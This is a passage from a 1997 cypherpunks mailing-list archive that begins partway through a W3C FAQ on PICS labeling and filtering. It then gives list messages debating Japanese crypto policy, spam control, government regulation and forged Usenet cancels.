   
   This difference of granularity will, naturally, have an impact on
   filtering. Filters based on IP addresses will be cruder: if some but
   not all of the documents available at a particular IP address are
   undesirable, the filter will have to either block all or none of those
   documents. PICS, by contrast, permits labeling of individual URLs, and
   hence permits finer grain filters as well.
   
Self-labeling

  Does PICS make author self-labeling more effective?
  
   Yes. Without a common format for labels, authors could not label
   themselves in a way that filtering programs could make use of. PICS
   provides that format.
   
  Does PICS make a government requirement of self-labeling more practical to
  implement?
  
   It enables such a requirement to have more impact. A government
   requirement of self-labeling would have little impact if the labels
   were not usable by filtering programs. PICS provides the common format
   so that filtering software from one source can use labels provided by
   other sources (authors in this case).
   
  Does self-labeling depend on universal agreement on a labeling vocabulary and
  criteria for assigning labels to materials?
  
   Although universal agreement is not necessary, there does need to be
   some harmonization of vocabulary and labeling criteria, so that labels
   provided by different authors can be meaningfully compared.
   
  Does PICS make it easier for governments to cooperate in imposing
  self-labeling requirements?
  
   Yes. PICS provides a language-independent format for expressing
   labels. If governments agreed on a common set of criteria for
   assigning labels, the criteria could be expressed in multiple
   languages, yet still be used to generate labels that can be compared
   to each other.
   
  Is it effective for (some) authors to label their own materials as
  inappropriate for minors? What about labeling appropriate materials?
  
   Both kinds of labeling could be effective, but only if a high
   percentage of the materials of a particular type are labeled. If the
   inappropriate materials are labeled, then a filter can block access to
   the labeled items. If the appropriate materials are labeled, then a
   filter can block access to all the unlabeled items.
   
Third-party labeling

  Can an organization I dislike label my web site without my approval?
  
   Yes. Anyone can create a PICS label that describes any URL, and then
   distribute that label to anyone who wants to use that label. This is
   analogous to someone publishing a review of your web site in a
   newspaper or magazine.
   
  Isn't there a danger of abuse if a third-party labeler gets too powerful?
  
   If a lot of people use a particular organization's labels for
   filtering, that organization will indeed wield a lot of power. Such an
   organization could, for example, arbitrarily assign negative labels to
   materials from its commercial or political competitors. The most
   effective way to combat this danger is to carefully monitor the
   practices of labeling services, and to ensure diversity in the
   marketplace for such services, so that consumers can stop using
   services that abuse their power.
   
Other Social Concerns About Labeling

  Why did PICS use the term "label", with all of its negative associations?
  
   PICS documents use the term "label" broadly to refer to any
   machine-readable information that describes other information. Even
   information that merely classifies materials by topic or author
   (traditional card catalog information) would qualify as labels if
   expressed in a machine-readable format. The PICS developers recognized
   that the term "label" has a narrower meaning, with negative
   connotations, for librarians and some other audiences, but it was the
   most generic term the PICS creators could find without reverting to
   technical jargon like "metadata."
   
   In media with centralized distribution channels, such as movies,
   labeling and filtering are not easily separated. For example, unrated
   movies are simply not shown in many theaters in the USA. In addition
   to its technical contribution, PICS makes an intellectual contribution
   by more clearly separating the ideas of labeling and filtering. Many
   of the negative connotations associated with "labeling" really should
   be associated with centralized filtering instead. There are, however,
   some subtle questions about the impact of labeling itself, as
   articulated in the next two questions.
   
  Does the availability of labels impoverish political discussions about which
  materials should be filtered?
  
   Matt Blaze (personal communication) describes this concern with an
   analogy to discussions at local school board meeting about books to be
   read in a high school English class. Ideally, the discussion about a
   particular book should focus on the contents of the book, and not on
   the contents of a review of the book, or, worse yet, a label that says
   the book contains undesirable words.
   
   There will always be a tradeoff, however, between speed of
   decision-making and the ability to take into account subtleties and
   context. When a large number of decisions need to be made in a short
   time, some will have to be made based on less than full information.
   The challenge for society, then, will be to choose carefully which
   decisions merit full discussion, in which case labels should be
   irrelevant, and which decisions can be left to the imperfect summary
   information that a label can provide. The following excerpt from
   Filtering the Internet summarizes this concern and the need for
   eternal vigilance:
   
     "Another concern is that even without central censorship, any
     widely adopted vocabulary will encourage people to make lazy
     decisions that do not reflect their values. Today many parents who
     may not agree with the criteria used to assign movie ratings still
     forbid their children to see movies rated PG-13 or R; it is too
     hard for them to weigh the merits of each movie by themselves.
     
     Labeling organizations must choose vocabularies carefully to match
     the criteria that most people care about, but even so, no single
     vocabulary can serve everyone's needs. Labels concerned only with
     rating the level of sexual content at a site will be of no use to
     someone concerned about hate speech. And no labeling system is a
     full substitute for a thorough and thoughtful evaluation: movie
     reviews in a newspaper can be far more enlightening than any set of
     predefined codes."
     
  Will the expense of labeling "flatten" speech by leaving non-commercial
  speech unlabeled, and hence invisible?
  
   This is indeed a serious concern, explored in detail by Jonathan
   Weinberg in his law review article, Rating the Net. The following
   excerpt from Filtering the Internet acknowledges that materials of
   limited appeal may not reach even the audiences they would appeal to,
   but argues that labeling is merely a symptom rather than a cause of
   this underlying problem:
   
     "Perhaps most troubling is the suggestion that any labeling system,
     no matter how well conceived and executed, will tend to stifle
     noncommercial communication. Labeling requires human time and
     energy; many sites of limited interest will probably go unlabeled.
     Because of safety concerns, some people will block access to
     materials that are unlabeled or whose labels are untrusted. For
     such people, the Internet will function more like broadcasting,
     providing access only to sites with sufficient mass-market appeal
     to merit the cost of labeling.
     
     While lamentable, this problem is an inherent one that is not
     caused by labeling. In any medium, people tend to avoid the unknown
     when there are risks involved, and it is far easier to get
     information about material that is of wide interest than about
     items that appeal to a small audience."
     
                                   Filtering
                                       
  Does PICS make national firewalls easier to implement?
  
   No, but an effective national firewall would make it possible for a
   government to impose PICS-based filtering rules on its citizens. A
   firewall partitions a network into two components and imposes rules
   about what information flow between the two components. The goal of a
   national firewall is to put all the computers in the country into one
   component, and all computers outside the country into the other
   component. This is difficult to do, especially if people deliberately
   try to find out connections (e.g., telephone lines) between computers
   inside the country and those outside the country. Given a successful
   partition, however, PICS could be used to implement the filtering
   rules for a firewall. In particular, the government could identify
   prohibited sites outside the country that people inside the country
   could not access; such a filtering could be implemented based on
   PICS-formatted labels or, without relying on PICS-compatible
   technology, with a simple list of prohibited URLs.
   
  Does PICS enable ISP compliance with government requirements that they
  prohibit access to specific URLs?
  
   ISP compliance with government prohibition lists is already practical,
   even without PICS. It would also be possible to comply using
   PICS-based technologies. PICS does make it easier for ISPs to comply
   with a government requirement to block access to sites labeled by
   non-governmental entities (including those that are self-labeled by
   the authors of the sites).
   
  Are proxy-server based implementations of PICS filters compatible with the
  principle of individual controls?
  
   Yes. PICS enables mixing and matching of the five roles. In
   particular, a service provider could install and run filtering
   software on a proxy server, but allow individuals to choose what
   filtering rules will be executed for each account. AOL already offers
   a primitive version of this idea, not based on PICS; parents can turn
   the preset filtering rules on or off for each member of the family.
   
  Are client based implementations of PICS filters usable only for individual
  controls?
  
   No. Governments could require the use of filters on clients. The city
   of Boston, for example, requires public schools to install a
   client-based filtering product on all computers with Internet access,
   and requires public libraries to install a client-based filtering
   product on all computers designated for children.
   
  Does my country have a right to filter what I see?
  
   W3C leaves this question to the political and legal processes of each
   country. Some people argue that unrestricted access to information is
   a fundamental human rights question that transcends national
   sovereignty. W3C has not adopted that position.
   
  Does my employer have a right to filter what I see?
  
   W3C leaves this question to the political and legal processes of each
   country.
   
                       W3C's Roles and Responsibilities
                                       
  How does W3C view its role in policy debates about intellectual freedom?
  
   W3C's mission is to "realize the full potential of the Web." The
   following two points are taken from a talk by Jim Miller at the WWW6
   conference:
     * We wish to provide tools which encourage all cultures to feel free
       to use the Web while maintaining an inter-operable network
       architecture that encourages diversity without cultural
       fragmentation or domination
     * We provide feedback to policy makers regarding what is technically
       possible, how effective the technology may be in satisfying policy
       requirements, and the possible unintended consequences of proposed
       policies
       
   Thus, for example, when discussing the CDA-type legislation with
   government officials in the U.S. or abroad, it is appropriate for W3C
   to point out that sender-based restrictions are not likely to be
   effective at keeping all materials of a particular kind away from
   children, and that there could be unintended consequences in terms of
   chilling free speech or keeping the Web from reaching its full
   potential as a medium for communication and cultural exchange. W3C
   does not, however, debate with government officials about their
   perceived policy requirements. For example, Germany has a policy
   requirement of restricting access to hate speech while the U.S. does
   not: W3C does not try to convince either country that the other
   country's choice of policy requirements is better.
   
  Why does the CACM article suggest that governments might use blocking
  technology?
  
   Some people(see The Net Labeling Delusion) have criticized the
   following paragraph from the CACM article on PICS:
   Not everyone needs to block reception of the same materials. Parents
       may not wish to expose their children to sexual or violentimages.
       Businesses may want to prevent their employees from visiting
       recreational sites during hours of peak network usage. Governments
       may want to restrict reception of materials that are legal in
       other countries but not in their own. The off button (or
       disconnecting from the entire Net) is too crude: there should be
       some way to block only the inappropriate material.
       Appropriateness, however, is neither an objective nor a universal
       measure. It depends on at least three factors:
       
   1. The supervisor: parenting styles differ, as do philosophies of
       management and government.
       2. The recipient: whats appropriate for one fifteen year old may
       not be for an eight-year-old, or even all fifteen-year-olds.
       3. The context: a game or chat room that is appropriate to access
       at home may be inappropriate at work or school.
       
   The main point of this section is to underscore the fact that people
   disagree about what materials are appropriate in what contexts. This
   point is illustrated at several levels of granularity: invidual
   children, organizations, and governments. The critcism focuses on the
   mention of possible government blocking, which did not appear in an
   earlier draft of the paper. We believe the example about differences
   in laws between countries is useful in explaining why there is a need
   for flexible, receiver-based controls rather than the kind of
   sender-based controls (e.g., the CDA) that most policy discussions
   were focusing on at the time.
   
   The objection to the use of this example rests on an argument that
   governments should never designate any content as illegal. That
   argument is not widely accepted (in the U.S., for example, "obscenity"
   laws have been deemed constitutional, even though the CDA's
   "indecency" provisions were not). A more widely held position is that
   governments should not restrict political materials as a means of
   controlling their citizens. W3C leaves discussions about which
   materials should be illegal in a particular country to the political
   realm rather than the technological realm. W3C does, however, point
   out to policy makers, however, that it's not necessary to make
   materials illegal if they are offensive to some people but not others:
   end-user controls are a more flexible method of handling such
   materials.
   
  Could W3C have controlled the uses of PICS by licensing the technology?
  
   Licensing such a technology was not considered to be a feasible option
   during the time of the CDA. Not only would it have undercut the
   "neutrality" and appeal of the technology, the W3C then would have had
   to be in the position of determining who should and should not use it;
   this is not a role the W3C is competent to play.
   
  Is the W3C promoting the development of PICS into proxy server products?
  
   Yes. W3C is pleased that IBM has introduced a proxy server that can
   filter based on PICS labels, and encourages the development of other
   PICS-compatible servers. As discussed above, filter processing can be
   centralized at a proxy server while still permitting individuals to
   choose the filtering rules.
   
  What can I do now to promote uses of PICS that promote, rather than harm,
  intellectual freedom?
  
   In addition to acting in the political arena, it would probably be
   helpful to implement positive uses of labels, such as searching
   applications. It is surpassingly difficult for people unfamiliar with
   computers to imagine new applications. By building prototypes and
   demonstrating them, it may be possible to focus policy-makers'
   energies on those uses of technology that accord with your political
   values.
   
  What else can I read about labeling, filtering, and intellectual freedom?
  
    Governments
    
     * Australian Broadcast Authority report on its investigation into
       on-line services
     * European Parliament Green Paper: the Protection of Minors and
       Human Dignity in Audiovisual and Information Services
     * European Union Communication on illegal and harmful content on the
       Internet
     * Report of European Commission Working party on illegal and harmful
       content on the internet
     * Working Party Report
     * European Commission Forum for Exchange of Information on Internet
       Best Practices
     * Singapore Internet Regulations
       
    Media
    
     * Good Clean PICS: The most effective censorship technology the Net
       has ever seen may already be installed on your desktop (Simson
       Garfinkel in HotWired: February 1997)
     * Labels and Disclosure - Release 1.0 by Esther Dyson
     * MSNBC four-part series (October 1996)
          + Part 1: Censorship debate focuses on filters
          + Part 2: PICS adds new dimension to Web
          + Part 3: Internet watchdogs split over PICS
          + Part 4: Filters aren't a black-and-white issue
       
    Other Organizations
    
     * EFF: Public Interest Principles for Online Filtration, Ratings and
       Labeling Systems
     * CIEC: Citizens Internet Empowerment Coalition
     * ACLU CyberLiberties Campaign
     * ALA white paper (need link)
       
    Individuals
    
     * Rating the Net. Jonathan Weinberg. Hastings Communications and
       Entertainment Law Journal, Vol. 19, No. 2, pp. 453-482. (A
       balanced but critical academic's look at rating systems and their
       legal and social impact.)
     * The Campaign for Internet Freedom (anti-labeling/filtering web
       site in UK)
     * The Net Labeling Delusion (anti-labeling/filtering web site in
       Australia)
     * Fight-censorship mailing lists (Declan McCullagh's moderated and
       unmoderated lists; occasional discussion of PICS and related
       technologies).









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Mon, 4 Aug 1997 01:32:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: spam is good for you
Message-ID: <199708031725.KAA04724@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



> : slogan so far is "I may disagree with every spam you send, but : I
> will defend to the death your right to spam it. --Voltaire".

I need one.  I've got a few sources for 3x - 5x shirts.  Let me know 
if you need those sources.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sun, 3 Aug 1997 22:47:40 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: The Poor in Spirit
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <3.0.2.32.19970803102828.0076fa60@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:29 AM 8/2/97 -0700, Kent Crispin wrote:

>In more general terms: A "free market" fundamentally grants more
>control to those with more money.  

In a free society, the "poor" have more money (collectively) than the rich 
and outbid them for resources all the time.  Were this not so, communities of 
the "poor" would never increase in size and yet they do.  

It is also much easier for the poor to get money in a free society than for 
the powerless to get power in the sort of societies you favor.

I can teach a poor person in America today the simple ways to triple or 
quadruple his income.  I could not teach a resident of France or Germany or 
Japan a simple way to triple or quadruple his "influence" on his government 
and indeed a tripling of such influence would give him much less than a 
tripling of income.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 4 Aug 1997 01:37:07 +0800
To: Joichi Ito <cypherpunks@cyberpass.net
Subject: Re: Tim Speaks the Truth / Re: Joichi Ito as a Junior Policeman
In-Reply-To: <199708031231.VAA00231@eccosys.com>
Message-ID: <v03102800b00a6dd2995c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Unlike "Toto," who claims to be "Truthmonger," I speak the truth.

At 5:12 AM -0700 8/3/97, Joichi Ito wrote:

>so they probably are pretty militaristic), Japan does not have the
>equivalent of the NSA. It really is in Japanese national security interests

And what of Chobetsu?

Cf. Richelson's books on the world's intelligence agencies for discussion
of Japan's version of the NSA.

I also had a discussion with an NHK crew about Chobetsu and the coopeative
spying arrangements at the USAF base at Misawa. The NHK folks seemed to get
nervious at what I was openly discussing with them, and averred that such
things are rarely spoken of in Japan, at least not as openly as I was
speaking of them. (I showed them the sections Richelson had on Misawa, and
Seymour Hersh's revelations about the 6920th and the Naval Security Group,
Task Force 59, and complicity in the offing of Gough Whitlam of Australia.)

Wise up, Joichi. You live in society more totalitarian than anything we
fear. Japanese citizen-units under video surveillance and afraid to speak
out. And surveillance and espionage technology deployed by your fascist
governmet--a term I mean literally, not casually--will worsen things
dramatically.

The only "cooperation" with them is to seek their annihilation.

And nothing but mischief will come out any meetings with government on
"crypto policy," as their goals can never be our goals. At least in the
U.S., despite obvious flaws, we have a "Congress shall make no law"
provision which _tends_ to make government meddling in speech, such as
meddling in crypto, more difficult.


--Tim May








>to consider minimizing risk by distributing it since they obviously do not
>have the ability to control it in the way that the US does. Anyone who
>has been following the statements by the Japanese at the OECD should
>note that Japan has alway lagged behind in supporting government control
>of crypto. In addition (although this article is very seldom sited in actual
>cases) the Japanese constitution provides for privacy of communications
>for citizens. Also, most of the crypto technology is held in private
>companies.
>
>Really, what I am try to do is two things:
>
>1) Make sure that Japan makes the right decision about crypto policy so
>that they do no stifle commercial development of crypto or put at risk
>national and individual security/privacy by implementing a weak system because
>of political pressure or domestic surveilance requirements.
>
>2) Make sure that Japan does not repeat the US "Hacker Crackdown" and
>more recent Australian crackdowns which I think can cause a rift between
>hackers and society. Right now I think the risk of weak security from
>the point of view of IWar and just plain network failure is much more
>important
>than cracking down on hackers/crackers. I'm trying to head off such
>"crackdown"
>movements by trying to put threats and risks into perspective at the National
>Security level and take the focus away from the activities of hackers who
>I think can help improve security and lower risks in the long term.
>
>As for Tim's message... I keep worrying (when I am in Japan) that I'm too
>radical, so it's nice to hear from someone who is really hardcore to put
>a wimp like me in my place. ;-P
>
>I guess I still believe in trying to redirect the process of government before
>"dropping out"... I'm not making it any easier for the "bad guys" giving them
>my opinion and I can alway "drop out" when I think no one's listening
>anymore...
>
>Anyway, I'm going to stop writing now before all of the government people
>reading this list decide to put me in their kill file. Then no one will be
>listening
>to me. ;-P
>
>
>- Joi
>
>P.S. I wrote an article in the Daily Yomiuri about a year ago that outlines
>where I am coming from. Please take a look if you are interested. The
>Daily Yomiuri is a national Japanese newspaper.
><http://www.garage.co.jp/~jito/article.html>
>
>--
>Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
>Fingerprint for RSA PGP Key ID 0x0EE23A2D
>0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
>Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
>58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
>Home Page: http://domino.garage.co.jp/jito/joihome.nsf
>To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sun, 3 Aug 1997 23:01:27 +0800
To: Adam Back <jf_avon@citenet.net
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <199708030302.XAA08565@cti06.citenet.net>
Message-ID: <3.0.2.32.19970803105321.039744cc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:29 PM 8/3/97 +0100, Adam Back wrote:

> 5. government issues internet drivers license

Lacks authority.  Would have to figure out some way to get IETF to adopt its 
model, get software written, get enough hosts to adopt new software.

Rough.

Because after all those steps are taken, I can still sell anonymous accounts 
with virtually no risk of effective punishment.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 18:42:54 +0800
To: platypus@acmeonline.net
Subject: socialism = facism (was Re: non-censorous spam control)
In-Reply-To: <Pine.LNX.3.93.970803122328.686K-100000@shirley>
Message-ID: <199708031002.LAA00626@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




David Formosa <dformosa@st.nepean.uws.edu.au> writes:
> On Sat, 2 Aug 1997, Steve Schear wrote:
> > I can't fuly agree. In Europe, both communism and fascism started from the
> > socialists (in fact, the fascist were called National Socialists)
> 
> The fascists called themselves Socialists for the same reson that the
> main pro logging group calls themselfs _The Forest Protection Socity_ as a
> returorical techneek to sucker peaple.

Socialism tends to lead to a fascist society.

> > and both accept the "... idea of a political party which embraces all 
> > activities of the individual from the cradle to the grave, which claims
> > to guide his views on everything, and which delights in making all
> > problems questions of party...," F.A. Hayek, The Road to Surfdom.

That's a reasonable expose' of the similarities.

> Replace political party with free market and you get the econmic
> reationalisum/thatureisum that has chocked socity.  The freandly
> socilisum that both the GNU mannifesto and most of the net works on
> has no such totalitarian tendencies.

The free market is much closer to the freedom of the net than you
might imagine.

eg. Socialism says that the state will steal from by force (guns,
imprisonment, etc follow quickly if you resist the theft) to give to
others who `need'.  Needs are unbounded.  How do you measure `need'?
By who has the most expensive lobyists, who can afford to pay the
highest bribes to politicians?  By who is the laziest and has allowed
their personal affairs to slip into the most disgraceful state.

In a free market economy such `needs' are met by charity.  People give
of their own free will, and give to charitable organisations that they
view as the most efficient at handling the causes they individually
think worthy.

If people don't want to give to this charitable cause, well then it
isn't worth supporting, to them.  If you have to take their charity
and gun point, it isn't charity, it's theft.

Socialism is based on theft.  So is Fascism.  It's forced labour, or
at least forced theft of assetts.

`Social contract' foo.  What social contract did I sign with the
crooks milking the political system?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 13:33:48 +0800
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <FocTae6w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970803111325.686B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Tim Skirvin <tskirvin@math.uiuc.edu> writes:

[...]

> Look in your "control" newsgroup, and you'll see that most of the
> cancels forged for the MMFs state in the body that they're being
> cancelled because they're "illegal".

No thay state the MMF are illegal.  It dosn't say that its becuase its
illegal that there being canceled.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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y/Of78HcmjXrwCyfyGAGQhDi8cPcgmNRenDBMujgg03mb8Db7wNjj3wbS8OL4Nrl
UMhVwtbpGmU=
=cuRV
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 3 Aug 1997 18:40:31 +0800
To: platypus@acmeonline.net
Subject: no government regulation of the net (was Re: bulk postage fine)
In-Reply-To: <Pine.LNX.3.93.970803121625.686J-100000@shirley>
Message-ID: <199708031023.LAA00663@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




David Formosa <dformosa@st.nepean.uws.edu.au> writes:
> On Sun, 3 Aug 1997, Adam Back wrote:
> 
> > David Formosa <dformosa@st.nepean.uws.edu.au> writes:
> 
> [...]
> 
> > > The best soultion given so far is Cause's suggestion of modifying
> > > the fax law so that we can sue the spammers.
> > 
> > Law, and suing and the internet don't mix.
> 
> You got to be jokeing, what about alomost every AOL vs. Cyberpromo or
> Compuserve vs. Cyberpromo or all thouse other ISPs against Cyberpromo.

It happens, but IMO it's an inefficient dumb way to go about business.
The more modern net based enterprises will use more efficient
non-governmental solutions, and their more efficient conflict
resolution mechanisms will allow them to out-price, and eventually
cause the dinosaurs to go bankrupt, or to adopt similarly efficient
approaches.

Government backed legal systems are inefficient.  A purely anonymous
transaction where both parties identity is well concealed is much more
efficient.  There is no one to sue.  Fighting legal suits is
expensive, especially in the US.

The high rates go to the unproductive members of society, government
court officials, over-priced lawyers, etc.  This drives up all prices
through insurance premiums.  The company has to pass on the cost of
the legal system to their clients.

Mutually negotiated arbitration as part of the contract of sale is
much more efficient.  Third party arbitrators holding with a copy of
the contract, a deposit from each party in escrow, and a reputation as
a fair arbitrator is much more efficient.  Either party breaks the
contract as decided by the arbitrator and they loose their deposit.

Some people are using arbitration services now as an alternative to
the government legal system.  This is a form of automatic
privatisation of the legal system.  The government legal systems are
facing free market competition.

It'll probably help if the arbitration service is anonymous also, else
some idiot will fall back to the government backed legal system and
raise the prices of arbitration through the insurance costs they'll
have to factor in case of being themselves sued in a government court.

> > Eg. Say I spam you via an anonymous remailer.  So now who are you
> > going to sue?
> 
> The spammers if there advertising a servese will need someway for me to
> contact them.  Some way for me to get the goods.  Just anonomising the
> email will not hide there identy.  

True.  But how do you prove to one of these inefficent government
courts that it is indeed the spam beneficiary who posted the spam.

What if he says "I didn't do it"?  He's probably right, he probably
paid Spamford to do it for him.  Or perhaps someone doesn't like the
company and does a spam with their contact information just to cause
them trouble?  I'm sure it's happened before.

I'm not sure it's so easy to identify the spammer.  You can't sue the
person who's number is at the bottom.  What about the politician who's
home phone number got spammed to alt.sex.* as a phone sex number.

So to the government mentality when they bump into this problem, it
means that they will try to prevent anonymity.  They'll want you to
use their new fangled PKI to have either no anonymity, or else
escrowed anonymity, where the government gets to see who everyone is.

> Any way pushing spammer email though most email remailers will cause
> them to crash from sheare volume.

That's also not a good thing.

The danger with using government to attack spammers, is that this is
the net, and we don't want governments involved in regulation of
content, nor in attempting to enforce "identity escrow", "internet
drivers licenses" or anything else.

This is the likely long term or even possibly short term outcome of
calling for help from government to sort out spammers.

We can sort them out ourselves without the need of government
intervention, thanks kindly.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 13:47:37 +0800
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <6PBTae5w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970803111729.686D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Please examine Net.Scum web pages for the self-appointed censors like
> Tim Brown (http://www.netscum.net/brownt0.html)

Tim Brown is clearly rouge I don't think he has any allies I do not
think he has support from the mainstream cancelers.

[...]

> Here's one counterexample. Yes, it's in the regional relcom.* hierarchy.

You know very well that regionals are not part of UseNet.  You would have
to bring that up with the admins within the relcom.* hierarchy.

> Yes, there are lots of folks who forge cancels for "inappropriate 
> cross-posts" in the "big 8".

The standard of everdence is lower then normal for that last stament.
Please supply everdence.

[...]

> And now some friends of Tim are forging cancels for any traffic originating
> from UUNet,

We are undermineing UUNets atemp to gain a monopoly on newsgroups. :D

> irrespective of contents,

Thats what content free canceling is noramly about.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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Version: 2.6.3i
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D++k0bnpD7A=
=yl1f
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 3 Aug 1997 14:05:58 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <X30sae2w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970803113522.686F-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> I'm sorry, I don't see how posting megabytes of noise every day can
> swamp the content.

You don't recall the poetry feastavil?  What about the sex groups for the
less popular fetishes?

> Moreover, if such actions were indeed cause a problem, they would not be 
> eliminated with payments. Some people would be willing to spend money to
> "flood" the net 

Here we aggry, porn4pron and others will still make a proffet from
spamming.  Infact puting a cost to posting creates a biase aggainst
unpopulare options and towards spam.  Indeed such a payment system would
make the problem worce.

> Instead of discouraging the behavior you don't like, encourage the
> behavior you do like.

[Nods]  The good old blow job prinisipul.

> I invite Adam and David to subscribe to the freedom-knights mailing list
> (send 'subscribe freedom-knights@jetcafe.org' to majordomo@jetcafe.org)
> if you want to continue this not-quite-crypto discussion there.

I have attempted to do so in the past,  and will attempt to do so again.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+PidqQK0ynCmdStAQHZawP/RS2pCTyKrsOMqHGq2BuNsdEd4Xe+qJt8
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dpxGGQawZZ8=
=PliC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sun, 3 Aug 1997 11:09:22 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Joichi Ito as a Junior Policeman
Message-ID: <199708030304.MAA22318@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi Tim.

At 23:46 97/08/01 -0700, Tim May wrote:

> And why are you helping to write a report that will be the "official
> position" of the Japanese cops?

Because, it would be much better to have it say, "we don't want key
escrow." My position on the study group is much more like making
a testimony in congress. Unlike the US, once a bill hits the floor,
it is very hard to participate. I have to participate while it is still
in the ministry level.


> The JDF is notoriously militaristic. You should reconsider this.

Again. That is exactly why I am diving in to give my opinion.
Leaving it to themselves to figure things out is probably much worse
than having someone like myself in all of the study groups giving
my frank opinion.


> And Cypherpunks should be very careful about "advising" an obviously
> co-opted member of the Japanese military and police establishment.

Again. If you want to view me as "co-opted" that's fine. Without me,
you would not have gotten Gilmore, Carl Ellison, or Whit Diffie's voice
on the record during the study group hearings. Do you think I should
just sit back and let the KEA's take over? 

> Use crypto to undermine such entities, not support them. Crypto will
> unleash anarchy on the world.

Why not let them figure it out instead of waging a war?

> You sound like a "junior policeman" to me.

Well I'm not.

> Another person to add to the killfiles.

What a productive attitude.

- Joi

P.S. I am only subscribed to cypherpunks lite. If you want to harass
me or comment, please cc my directly.


--
